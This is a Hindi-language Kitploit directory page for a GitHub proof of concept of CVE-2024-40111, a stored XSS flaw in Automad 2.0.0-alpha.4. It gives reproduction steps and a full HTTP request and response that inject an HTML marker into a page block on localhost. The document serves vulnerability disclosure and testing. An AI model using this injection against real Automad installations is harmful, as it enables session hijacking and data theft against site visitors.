Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-40111-Exploit — CVE-2024-40111 के लिए एक्सप्लॉइट: Automad 2.0.0-alpha.4 में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) | Kitploit
उपकरण/GitHubGitHub/theexploiters/cve-2024-40111-exploit
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubtheexploiters/cve-2024-40111-exploit

CVE-2024-40111-Exploit

CVE-2024-40111 के लिए एक्सप्लॉइट: Automad 2.0.0-alpha.4 में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)

रिपॉजिटरी देखें
2101 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-40111: संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) Automad 2.0.0-alpha.4 में

शोषण विवरण

  • शोषण शीर्षक: Automad 2.0.0-alpha.4 में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)
  • दिनांक: 2024-06-20
  • शोषण लेखक: Jerry Thomas (w3bn00b3r)
  • विक्रेता होमपेज: Automad
  • सॉफ्टवेयर लिंक: Automad GitHub Repository
  • श्रेणी: वेब एप्लिकेशन [फ्लैट फ़ाइल CMS]
  • संस्करण: 2.0.0-alpha.4
  • परीक्षण किया गया: Docker संस्करण 26.1.4, Debian GNU/Linux 11 (bullseye)

विवरण

Automad 2.0.0-alpha.4 में एक स्थायी (संग्रहीत) क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता की पहचान की गई है। यह भेद्यता हमलावरों को टेम्पलेट बॉडी में दुर्भावनापूर्ण JavaScript कोड इंजेक्ट करने की अनुमति देती है, जो CMS के भीतर संग्रहीत होता है। इंजेक्ट किया गया कोड प्रभावित पृष्ठ पर जाने वाले किसी भी उपयोगकर्ता के ब्राउज़र में निष्पादित होता है, जिससे संभावित रूप से सत्र अपहरण, डेटा चोरी और अन्य दुर्भावनापूर्ण गतिविधियाँ हो सकती हैं।

प्रूफ-ऑफ-कॉन्सेप्ट

पुनरुत्पादन के चरण

  1. लॉगिन: एक व्यवस्थापक के रूप में लॉग इन करें और एंडपॉइंट http://localhost/dashboard/home पर नेविगेट करें।

  2. स्वागत पृष्ठ संपादित करें: डिफ़ॉल्ट स्वागत पृष्ठ संपादित करें।

  3. सामग्री टैब पर नेविगेट करें: http://localhost/dashboard/page?url=%2F&section=text पर जाएं और Main नामक ब्लॉक संपादित करें।

  4. पेलोड इंजेक्ट करें: निम्नलिखित XSS पेलोड दर्ज करें:

अनुरोध

POST /_api/page/data HTTP/1.1
Host: localhost
Content-Length: 1822
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Accept: */*
Origin: http://localhost
Referer: http://localhost/dashboard/page?url=%2F&section=text
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb
Connection: close

------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__csrf__"

49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1
------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"

{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testing for xss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSS identified by Jerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"You have successfully installed Automad 2.<br><br><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"Visit Dashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}
------WebKitFormBoundaryzHmXQBdtZsTYQYCv--

प्रतिक्रिया

HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Thu, 20 Jun 2024 19:17:35 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 30

{"code":200,"time":1718911055}
  1. XSS ट्रिगर करें: होमपेज http://localhost/ पर जाने पर XSS पेलोड ट्रिगर होता है।

Repo View Counter

टूल डाउनलोड करें